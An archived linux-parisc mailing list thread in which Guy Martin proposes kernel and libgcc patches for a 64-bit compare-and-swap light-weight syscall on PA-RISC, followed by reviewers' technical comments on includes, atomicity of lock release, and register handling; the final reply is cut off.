Message-ID: <20140717220000.555b2bec@dellete.lux.tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/km4FDq+E+/5RFV+s67pDqBM"
X-Trace: ger.gmane.org 1405627929 13323 80.91.229.3 (17 Jul 2014 20:12:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Jul 2014 20:12:09 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 17 22:12:04 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X7s26-0000tw-W2
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 Jul 2014 22:12:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751436AbaGQUMC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jul 2014 16:12:02 -0400
Original-Received: from venus.vo.lu ([80.90.45.96]:54797 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751050AbaGQUMB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jul 2014 16:12:01 -0400
X-Greylist: delayed 905 seconds by postgrey-1.27 at vger.kernel.org; Thu, 17 Jul 2014 16:12:00 EDT
Original-Received: from ibiza.lux.tuxicoman.be (UnknownHost [85.93.195.103]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Thu, 17 Jul 2014 21:56:09 +0200
Original-Received: from [2001:7e8:2221:400:863a:4bff:fe82:d89c] (helo=dellete.lux.tuxicoman.be)
	by ibiza.lux.tuxicoman.be with esmtpsa (SSLv3:DHE-RSA-AES128-SHA:128)
	(Exim 4.80.1)
	(envelope-from <gmsoft@ibiza.lux.tuxicoman.be>)
	id 1X7rnE-0000bP-JF
	for linux-parisc@vger.kernel.org; Thu, 17 Jul 2014 21:56:40 +0200
X-Mailer: Claws Mail 3.9.0 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5930
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5930>

--MP_/km4FDq+E+/5RFV+s67pDqBM
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi,

I've attached the gcc and kernel patch for 64bit CAS. So far I've
implemented the easiest use case which is for 64bit kernel.

I'll investigate using the FPU register for 64 bit operations with
32bit kernels.

I feel like there is a lot of code duplication in my patches, this can
probably be optimized altho it might reduce readability.

Any comments ?


Thanks,
  Guy
--MP_/km4FDq+E+/5RFV+s67pDqBM
Content-Type: text/x-patch
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=linux-hppa-atomic-cas-64bit.patch

--- ./arch/parisc/kernel/syscall.S.orig	2014-07-16 16:39:20.684498341 +0200
+++ ./arch/parisc/kernel/syscall.S	2014-07-17 21:34:35.091933739 +0200
@@ -74,7 +74,7 @@
 	/* ADDRESS 0xb0 to 0xb8, lws uses two insns for entry */
 	/* Light-weight-syscall entry must always be located at 0xb0 */
 	/* WARNING: Keep this number updated with table size changes */
-#define __NR_lws_entries (2)
+#define __NR_lws_entries (3)
 
 lws_entry:
 	gate	lws_start, %r0		/* increase privilege */
@@ -502,7 +502,7 @@
 
 	
 	/***************************************************
-		Implementing CAS as an atomic operation:
+		Implementing 32bit CAS as an atomic operation:
 
 		%r26 - Address to examine
 		%r25 - Old value to check (old)
@@ -658,6 +658,161 @@
 	ASM_EXCEPTIONTABLE_ENTRY(1b-linux_gateway_page, 3b-linux_gateway_page)
 	ASM_EXCEPTIONTABLE_ENTRY(2b-linux_gateway_page, 3b-linux_gateway_page)
 
+	
+	/***************************************************
+		Implementing 64bit CAS as an atomic operation for ELF32:
+
+		%r26 - Address to examine
+		%r25 - Old 32bit high value to check (old)
+		%r24 - Old 32bit low value to check (old)
+		%r23 - New 32bit high value to set (new)
+		%r22 - New 32bit low value to set (new)
+		%r28 - Return prev 32bit high through this register.
+		%r29 - Return prev 32bit low through this register.
+		%r21 - Kernel error code
+
+		If debugging is DISabled:
+
+		%r21 has the following meanings:
+
+		EAGAIN - CAS is busy, ldcw failed, try again.
+		EFAULT - Read or write failed.		
+
+		If debugging is enabled:
+
+		EDEADLOCK - CAS called recursively.
+		EAGAIN && r28 == 1 - CAS is busy. Lock contended.
+		EAGAIN && r28 == 2 - CAS is busy. ldcw failed.
+		EFAULT - Read or write failed.
+
+		Scratch: r20, r28, r1
+
+	****************************************************/
+
+	/* ELF32 Process entry path */
+lws_compare_and_swap_dword:
+#ifdef CONFIG_64BIT
+	/* Clip all the input registers */
+	depdi	0, 31, 32, %r26
+	/* Merge low/high bits */
+	shld	%r25, 32, %r24
+	shld	%r23, 32, %r22
+#else
+#error Not implemented
+#endif
+	/* Load start of lock table */
+	ldil	L%lws_lock_start, %r20
+	ldo	R%lws_lock_start(%r20), %r28
+
+	/* Extract four bits from r26 and hash lock (Bits 4-7) */
+	extru  %r26, 27, 4, %r20
+
+	/* Find lock to use, the hash is either one of 0 to
+	   15, multiplied by 16 (keep it 16-byte aligned)
+	   and add to the lock table offset. */
+	shlw	%r20, 4, %r20
+	add	%r20, %r28, %r20
+
+# if ENABLE_LWS_DEBUG
+	/*	
+		DEBUG, check for deadlock! 
+		If the thread register values are the same
+		then we were the one that locked it last and
+		this is a recurisve call that will deadlock.
+		We *must* giveup this call and fail.
+	*/
+	ldw	4(%sr2,%r20), %r28			/* Load thread register */
+	/* WARNING: If cr27 cycles to the same value we have problems */
+	mfctl	%cr27, %r21				/* Get current thread register */
+	cmpb,<>,n	%r21, %r28, cas_dword_lock	/* Called recursive? */
+	b	lws_exit				/* Return error! */
+	ldo	-EDEADLOCK(%r0), %r21
+cas_dword_lock:
+	cmpb,=,n	%r0, %r28, cas_dword_nocontend /* Is nobody using it? */
+	ldo	1(%r0), %r28				/* 1st case */
+	b	lws_exit				/* Contended... */
+	ldo	-EAGAIN(%r0), %r21			/* Spin in userspace */
+cas_dword_nocontend:
+# endif
+/* ENABLE_LWS_DEBUG */
+
+	rsm	PSW_SM_I, %r0				/* Disable interrupts */
+	/* COW breaks can cause contention on UP systems */
+	LDCW	0(%sr2,%r20), %r28			/* Try to acquire the lock */
+	cmpb,<>,n	%r0, %r28, cas_dword_action	/* Did we get it? */
+cas_dword_wouldblock:
+	ldo	2(%r0), %r28				/* 2nd case */
+	ssm	PSW_SM_I, %r0
+	b	lws_exit				/* Contended... */
+	ldo	-EAGAIN(%r0), %r21			/* Spin in userspace */
+
+	/*
+		prev = *addr;
+		if ( prev == old )
+		  *addr = new;
+		return prev;
+	*/
+
+	/* NOTES:
+		This all works becuse intr_do_signal
+		and schedule both check the return iasq
+		and see that we are on the kernel page
+		so this process is never scheduled off
+		or is ever sent any signal of any sort,
+		thus it is wholly atomic from usrspaces
+		perspective
+	*/
+cas_dword_action:
+#if defined CONFIG_SMP && ENABLE_LWS_DEBUG
+	/* DEBUG */
+	mfctl	%cr27, %r1
+	stw	%r1, 4(%sr2,%r20)
+#endif
+
+#ifdef CONFIG_64BIT
+	/* The load and store could fail */
+4:	ldd,ma	0(%sr3,%r26), %r29
+	sub,<>	%r29, %r24, %r0
+5:	std,ma	%r22, 0(%sr3,%r26)
+	/* Split the high/low bit of the result */
+	shrd	%r29,32,%r28
+	depdi	0, 31, 32, %r28
+#else
+#error Not implemented
+#endif
+
+	/* Free lock */
+	stw,ma	%r20, 0(%sr2,%r20)
+#if ENABLE_LWS_DEBUG
+	/* Clear thread register indicator */
+	stw	%r0, 4(%sr2,%r20)
+#endif
+	/* Enable interrupts */
+	ssm	PSW_SM_I, %r0
+	/* Return to userspace, set no error */
+	b	lws_exit
+	copy	%r0, %r21
+
+6:		
+	/* Error occurred on load or store */
+	/* Free lock */
+	stw	%r20, 0(%sr2,%r20)
+#if ENABLE_LWS_DEBUG
+	stw	%r0, 4(%sr2,%r20)
+#endif
+	ssm	PSW_SM_I, %r0
+	b	lws_exit
+	ldo	-EFAULT(%r0),%r21	/* set errno */
+	nop
+	nop
+	nop
+	nop
+
+	/* Two exception table entries, one for the loads,
+	   the other for the store. Either return -EFAULT.
+	   Each of the entries must be relocated. */
+	ASM_EXCEPTIONTABLE_ENTRY(4b-linux_gateway_page, 6b-linux_gateway_page)
+	ASM_EXCEPTIONTABLE_ENTRY(5b-linux_gateway_page, 6b-linux_gateway_page)
 
 	/* Make sure nothing else is placed on this page */
 	.align PAGE_SIZE
@@ -675,8 +830,9 @@
 	/* Light-weight-syscall table */
 	/* Start of lws table. */
 ENTRY(lws_table)
-	LWS_ENTRY(compare_and_swap32)	/* 0 - ELF32 Atomic compare and swap */
-	LWS_ENTRY(compare_and_swap64)	/* 1 - ELF64 Atomic compare and swap */
+	LWS_ENTRY(compare_and_swap32)		/* 0 - ELF32 Atomic 32bit compare and swap */
+	LWS_ENTRY(compare_and_swap64)		/* 1 - ELF64 Atomic 32bit compare and swap */
+	LWS_ENTRY(compare_and_swap_dword)	/* 2 - ELF32 Atomic 64bit compare and swap */
 END(lws_table)
 	/* End of lws table */
 

--MP_/km4FDq+E+/5RFV+s67pDqBM
Content-Type: text/x-patch
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=gcc-atomic-buildins-64bit.patch

--- libgcc/config/pa/linux-atomic.c.orig	2014-07-16 19:29:28.670595484 +0000
+++ libgcc/config/pa/linux-atomic.c	2014-07-16 19:31:32.754003341 +0000
@@ -24,6 +24,8 @@
 see the files COPYING3 and COPYING.RUNTIME respectively.  If not, see
 <http://www.gnu.org/licenses/>.  */
 
+#include <stdint.h>
+
 #define EFAULT  14 
 #define EBUSY   16
 #define ENOSYS 251 
@@ -75,6 +77,39 @@
   return lws_errno;
 }
 
+/* Kernel helper for compare-and-exchange a 64-bit value from ELF32.  */
+static inline long
+__kernel_cmpxchg_dword32 (int64_t oldval, int64_t newval, int64_t *mem)
+{
+  register unsigned long lws_mem asm("r26") = (unsigned long) (mem);
+  register long lws_ret_h   asm("r28");
+  register long lws_ret_l   asm("r29");
+  register long lws_errno   asm("r21");
+  register int lws_old_h    asm("r25") = oldval >> 32;
+  register int lws_old_l    asm("r24") = oldval & 0xffffffff;
+  register int lws_new_h    asm("r23") = newval >> 32;
+  register int lws_new_l    asm("r22") = newval & 0xffffffff;
+  asm volatile (	"ble	0xb0(%%sr2, %%r0)	\n\t"
+			"ldi	%8, %%r20		\n\t"
+	: "=r" (lws_ret_h), "=r" (lws_ret_l), "=r" (lws_errno), "=r" (lws_mem),
+	  "=r" (lws_old_h), "=r" (lws_old_l), "=r" (lws_new_h), "=r" (lws_new_l)
+	: "i" (2), "3" (lws_mem), "4" (lws_old_h), "5" (lws_old_l), "6" (lws_new_h), "7" (lws_new_l)
+	: "r1", "r20", "r31", "memory"
+  );
+  if (__builtin_expect (lws_errno == -EFAULT || lws_errno == -ENOSYS, 0))
+    ABORT_INSTRUCTION;
+
+   int64_t lws_ret = ((int64_t)lws_ret_h << 32) | (int64_t)lws_ret_l;
+
+  /* If the kernel LWS call succeeded (lws_errno == 0), lws_ret contains
+     the old value from memory.  If this value is equal to OLDVAL, the
+     new value was written to memory.  If not, return -EBUSY.  */
+  if (!lws_errno && lws_ret != oldval)
+    lws_errno = -EBUSY;
+
+  return lws_errno;
+}
+
 #define HIDDEN __attribute__ ((visibility ("hidden")))
 
 /* Big endian masks  */
@@ -84,6 +119,28 @@
 #define MASK_1 0xffu
 #define MASK_2 0xffffu
 
+#define FETCH_AND_OP_DWORD(OP, PFX_OP, INF_OP)					\
+  int64_t HIDDEN								\
+  __sync_fetch_and_##OP##_8 (int64_t *ptr, int64_t val)				\
+  {										\
+    int64_t tmp;								\
+    int failure;								\
+										\
+    do {									\
+      tmp = *ptr;								\
+      failure = __kernel_cmpxchg_dword32 (tmp, PFX_OP (tmp INF_OP val), ptr);	\
+    } while (failure != 0);							\
+										\
+    return tmp;									\
+  }
+
+FETCH_AND_OP_DWORD (add,   , +)
+FETCH_AND_OP_DWORD (sub,   , -)
+FETCH_AND_OP_DWORD (or,    , |)
+FETCH_AND_OP_DWORD (and,   , &)
+FETCH_AND_OP_DWORD (xor,   , ^)
+FETCH_AND_OP_DWORD (nand, ~, &)
+
 #define FETCH_AND_OP_WORD(OP, PFX_OP, INF_OP)				\
   int HIDDEN								\
   __sync_fetch_and_##OP##_4 (int *ptr, int val)				\
@@ -147,6 +204,28 @@
 SUBWORD_SYNC_OP (xor,   , ^, unsigned char, 1, oldval)
 SUBWORD_SYNC_OP (nand, ~, &, unsigned char, 1, oldval)
 
+#define OP_AND_FETCH_DWORD(OP, PFX_OP, INF_OP)					\
+  int64_t HIDDEN								\
+  __sync_##OP##_and_fetch_8 (int64_t *ptr, int64_t val)				\
+  {										\
+    int64_t tmp;								\
+    int failure;								\
+										\
+    do {									\
+      tmp = *ptr;								\
+      failure = __kernel_cmpxchg_dword32 (tmp, PFX_OP (tmp INF_OP val), ptr);	\
+    } while (failure != 0);							\
+										\
+    return PFX_OP (tmp INF_OP val);						\
+  }
+
+OP_AND_FETCH_DWORD (add,   , +)
+OP_AND_FETCH_DWORD (sub,   , -)
+OP_AND_FETCH_DWORD (or,    , |)
+OP_AND_FETCH_DWORD (and,   , &)
+OP_AND_FETCH_DWORD (xor,   , ^)
+OP_AND_FETCH_DWORD (nand, ~, &)
+
 #define OP_AND_FETCH_WORD(OP, PFX_OP, INF_OP)				\
   int HIDDEN								\
   __sync_##OP##_and_fetch_4 (int *ptr, int val)				\
@@ -182,6 +261,26 @@
 SUBWORD_SYNC_OP (xor,   , ^, unsigned char, 1, newval)
 SUBWORD_SYNC_OP (nand, ~, &, unsigned char, 1, newval)
 
+int64_t HIDDEN
+__sync_val_compare_and_swap_8 (int64_t *ptr, int64_t oldval, int64_t newval)
+{
+  int64_t actual_oldval;
+  int fail;
+    
+  while (1)
+    {
+      actual_oldval = *ptr;
+
+      if (__builtin_expect (oldval != actual_oldval, 0))
+	return actual_oldval;
+
+      fail = __kernel_cmpxchg_dword32 (actual_oldval, newval, ptr);
+  
+      if (__builtin_expect (!fail, 1))
+	return actual_oldval;
+    }
+}
+
 int HIDDEN
 __sync_val_compare_and_swap_4 (int *ptr, int oldval, int newval)
 {
@@ -256,6 +355,20 @@
 SUBWORD_BOOL_CAS (unsigned short, 2)
 SUBWORD_BOOL_CAS (unsigned char,  1)
 
+int64_t HIDDEN
+__sync_lock_test_and_set_8 (int64_t *ptr, int64_t val)
+{
+  int64_t oldval;
+  int failure;
+
+  do {
+    oldval = *ptr;
+    failure = __kernel_cmpxchg_dword32 (oldval, val, ptr);
+  } while (failure != 0);
+
+  return oldval;
+}
+
 int HIDDEN
 __sync_lock_test_and_set_4 (int *ptr, int val)
 {
@@ -300,6 +413,7 @@
     *ptr = 0;								\
   }
 
-SYNC_LOCK_RELEASE (int,   4)
-SYNC_LOCK_RELEASE (short, 2)
-SYNC_LOCK_RELEASE (char,  1)
+SYNC_LOCK_RELEASE (int64_t, 8)
+SYNC_LOCK_RELEASE (int,     4)
+SYNC_LOCK_RELEASE (short,   2)
+SYNC_LOCK_RELEASE (char,    1)

--MP_/km4FDq+E+/5RFV+s67pDqBM--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC PATCH] 64bit LWS CAS
Date: Thu, 17 Jul 2014 17:12:56 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <BLU436-SMTP127395BDDDC837F7D7E042697F40@phx.gbl>
References: <20140717220000.555b2bec@dellete.lux.tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405631574 26663 80.91.229.3 (17 Jul 2014 21:12:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Jul 2014 21:12:54 +0000 (UTC)
To: Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 17 23:12:47 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X7syr-0000UR-Ee
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 Jul 2014 23:12:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752856AbaGQVMp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jul 2014 17:12:45 -0400
Original-Received: from blu004-omc4s30.hotmail.com ([65.55.111.169]:49943 "EHLO
	BLU004-OMC4S30.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752668AbaGQVMo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jul 2014 17:12:44 -0400
Original-Received: from BLU436-SMTP127 ([65.55.111.135]) by BLU004-OMC4S30.hotmail.com with Microsoft SMTPSVC(7.5.7601.22712);
	 Thu, 17 Jul 2014 14:12:43 -0700
X-TMN: [uBmbiNMVp7UH484ZhqG4cBkldMcDZOPd]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([74.12.154.140]) by smtphm.sympatico.ca over TLS secured channel with Microsoft SMTPSVC(8.0.9200.16384);
	 Thu, 17 Jul 2014 14:12:42 -0700
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.6.0
In-Reply-To: <20140717220000.555b2bec@dellete.lux.tuxicoman.be>
X-OriginalArrivalTime: 17 Jul 2014 21:12:42.0949 (UTC) FILETIME=[D930CF50:01CFA203]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5931
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5931>

On 7/17/2014 4:00 PM, Guy Martin wrote:
> +#include <stdint.h>
> +
I would kill the above include and use long long instead of int64_t.  
Generally,
we don't want libgcc routines to depend on system includes.

SYNC_LOCK_RELEASE needs to be fixed to use __kernel_cmpxchg and 
__kernel_cmpxchg_dword32.
The current implementation won't be atomic for long long, and in glibc, 
a similar implementation caused
problems for the int type.  I've been testing a patch for the latter and 
will apply it soon.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC PATCH] 64bit LWS CAS
Date: Thu, 17 Jul 2014 23:30:45 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <53C84085.5020704@gmx.de>
References: <20140717220000.555b2bec@dellete.lux.tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405632693 7916 80.91.229.3 (17 Jul 2014 21:31:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Jul 2014 21:31:33 +0000 (UTC)
To: Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 17 23:31:26 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X7tGS-0007NB-3U
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 Jul 2014 23:30:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754384AbaGQVaz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jul 2014 17:30:55 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:49520 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753573AbaGQVaz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jul 2014 17:30:55 -0400
Original-Received: from [192.168.178.60] ([84.173.12.229]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0MWk3f-1X26vu3qRv-00XwL7; Thu, 17 Jul 2014 23:30:45
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <20140717220000.555b2bec@dellete.lux.tuxicoman.be>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:FAmQz9+ghLh5J5AUFb6+XjwUqMV5ND59p2nm+mG+vtXQ0BVSZNE
 FDakUbqZUyPVa5YIZK1a61KvgjlNc2385ucQ7iNiQ7lzZcNYkHrQCEPrhKjfQnSYZzbxPvT
 reHY3NklktngUjnjTrxB98d1l9pLxHaZV0aMNKaNbwDUVfo02g9jaWd8lDMAwq122n/fmLJ
 iZTNmDSH2dD0M4+GM1+5A==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5932
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5932>

On 07/17/2014 10:00 PM, Guy Martin wrote:
+/* Kernel helper for compare-and-exchange a 64-bit value from ELF32.  */
+static inline long
+__kernel_cmpxchg_dword32 (int64_t oldval, int64_t newval, int64_t *mem)
+{
+  register unsigned long lws_mem asm("r26") = (unsigned long) (mem);
+  register long lws_ret_h   asm("r28");
+  register long lws_ret_l   asm("r29");
+  register long lws_errno   asm("r21");
+  register int lws_old_h    asm("r25") = oldval >> 32;
+  register int lws_old_l    asm("r24") = oldval & 0xffffffff;
+  register int lws_new_h    asm("r23") = newval >> 32;
+  register int lws_new_l    asm("r22") = newval & 0xffffffff;
+  asm volatile (	"ble	0xb0(%%sr2, %%r0)	\n\t"
+			"ldi	%8, %%r20		\n\t"
+	: "=r" (lws_ret_h), "=r" (lws_ret_l), "=r" (lws_errno), "=r" (lws_mem),
+	  "=r" (lws_old_h), "=r" (lws_old_l), "=r" (lws_new_h), "=r" (lws_new_l)
+	: "i" (2), "3" (lws_mem), "4" (lws_old_h), "5" (lws_old_l), "6" (lws_new_h), "7" (lws_new_l)
+	: "r1", "r20", "r31", "memory"
+  );

Just a thought:
I'm not sure how good gcc optimizes the assignment of the 64bit parameters to their final destination registers (r22-r25) with regard to the shifting and masking, but it might be worth to check if gcc's built-in "R2" functionality (sorry, I don't know the name of this feature!) can help here?

As an example see the __put_kernel_asm64() macro in the the kernel header arch/parisc/include/asm/uaccess.h:

#define __put_kernel_asm64(__val,ptr) do {                  \
        __asm__ __volatile__ (                              \
                "\n1:\tstw %2,0(%1)"                        \
                "\n2:\tstw %R2,4(%1)\n\t"                   \
                : "=r"(__pu_err)                            \
                : "r"(ptr), "r"(__val), "0"(__pu_err) \
                : "r1");

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC PATCH] 64bit LWS CAS
Date: Thu, 17 Jul 2014 18:51:38 -0400
Lines: 72
Approved: news@gmane.org
Message-ID: <BLU436-SMTP161B042AED3FE7A129018E597F40@phx.gbl>
References: <20140717220000.555b2bec@dellete.lux.tuxicoman.be> <53C84085.5020704@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405637526 30865 80.91.229.3 (17 Jul 2014 22:52:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Jul 2014 22:52:06 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 18 00:51:59 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X7uWq-0000Cw-RR
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Jul 2014 00:51:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752990AbaGQWv4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jul 2014 18:51:56 -0400
Original-Received: from blu004-omc4s25.hotmail.com ([65.55.111.164]:52868 "EHLO
	BLU004-OMC4S25.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752051AbaGQWv4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jul 2014 18:51:56 -0400
Original-Received: from BLU436-SMTP161 ([65.55.111.135]) by BLU004-OMC4S25.hotmail.com with Microsoft SMTPSVC(7.5.7601.22712);
	 Thu, 17 Jul 2014 15:51:55 -0700
X-TMN: [ZHqgvoD81IhrxjlTLuQfHABJqjcYHYmZ]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.16] ([70.26.30.52]) by smtphm.sympatico.ca over TLS secured channel with Microsoft SMTPSVC(8.0.9200.16384);
	 Thu, 17 Jul 2014 15:51:54 -0700
In-Reply-To: <53C84085.5020704@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 17 Jul 2014 22:51:54.0571 (UTC) FILETIME=[B4A241B0:01CFA211]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5933
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5933>

On 17-Jul-14, at 5:30 PM, Helge Deller wrote:

> On 07/17/2014 10:00 PM, Guy Martin wrote:
> +/* Kernel helper for compare-and-exchange a 64-bit value from  
> ELF32.  */
> +static inline long
> +__kernel_cmpxchg_dword32 (int64_t oldval, int64_t newval, int64_t  
> *mem)
> +{
> +  register unsigned long lws_mem asm("r26") = (unsigned long) (mem);
> +  register long lws_ret_h   asm("r28");
> +  register long lws_ret_l   asm("r29");
> +  register long lws_errno   asm("r21");
> +  register int lws_old_h    asm("r25") = oldval >> 32;
> +  register int lws_old_l    asm("r24") = oldval & 0xffffffff;
> +  register int lws_new_h    asm("r23") = newval >> 32;
> +  register int lws_new_l    asm("r22") = newval & 0xffffffff;
> +  asm volatile (	"ble	0xb0(%%sr2, %%r0)	\n\t"
> +			"ldi	%8, %%r20		\n\t"
> +	: "=r" (lws_ret_h), "=r" (lws_ret_l), "=r" (lws_errno),  
> "=r" (lws_mem),
> +	  "=r" (lws_old_h), "=r" (lws_old_l), "=r" (lws_new_h),  
> "=r" (lws_new_l)
> +	: "i" (2), "3" (lws_mem), "4" (lws_old_h), "5" (lws_old_l),  
> "6" (lws_new_h), "7" (lws_new_l)
> +	: "r1", "r20", "r31", "memory"
> +  );
>
> Just a thought:
> I'm not sure how good gcc optimizes the assignment of the 64bit  
> parameters to their final destination registers (r22-r25) with  
> regard to the shifting and masking, but it might be worth to check  
> if gcc's built-in "R2" functionality (sorry, I don't know the name  
> of this feature!) can help here?
>
> As an example see the __put_kernel_asm64() macro in the the kernel  
> header arch/parisc/include/asm/uaccess.h:
>
> #define __put_kernel_asm64(__val,ptr) do {                  \
>        __asm__ __volatile__ (                              \
>                "\n1:\tstw %2,0(%1)"                        \
>                "\n2:\tstw %R2,4(%1)\n\t"                   \
>                : "=r"(__pu_err)                            \
